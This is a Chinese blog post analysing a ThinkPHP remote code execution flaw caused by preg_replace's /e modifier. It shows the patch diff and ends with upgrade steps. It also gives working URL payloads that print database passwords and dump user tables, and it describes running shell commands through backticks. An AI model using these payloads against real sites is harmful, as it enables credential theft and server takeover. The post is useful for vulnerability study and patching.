THINKPHP URL漏洞可执行任意系统命令
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架(目前我们公司所有项目都是TP的),ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。
通过SVN我们来分析一下官方的补丁:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php 125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths));
这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
然而在用正则解析pathinfo的时候,主要是这一句:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。
'$var[\'\\1\']="\\2";'
而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:
1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
- index.php/module/action/param1/${@print(THINK_VERSION)}
- index.php/module/action/param1/${@print(C(‘’))}
- index.php/module/action/param1/${@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜测后台帐号密码,当然要先猜一下用户的表名了一般情况都是user/users/admin/employee,反正我滴用户表都是这些0.0,当然其他的PHP函数都是可以执行的
http://www.XXX.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}
3. 利用PHP在“·”(Tab键上面的键,URL编码后为%60)之间的内容可以当做命令执行的方式,不管是windows还是Linux下(使用PHP_OS可以查看在哪个服务器上运行)
都可以执行cmd或者是Shell命令, 这个就特别危险了,我们可以获取的系统的控制权限,测试一下windows下版本
获取系统管理员帐号
如果你有THINKPHP框架做的网站,那就说明你的系统现在已经在裸奔了,官方已经发布修复漏洞的补丁,地址:
http://thinkphp.cn/down-116.html
更新方法:
首先解压缩补丁文件
2.1和2.2版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件
3.0版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件
替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
以上信息纯属学习~不得用以非法入侵破坏0.0 否则后果自负!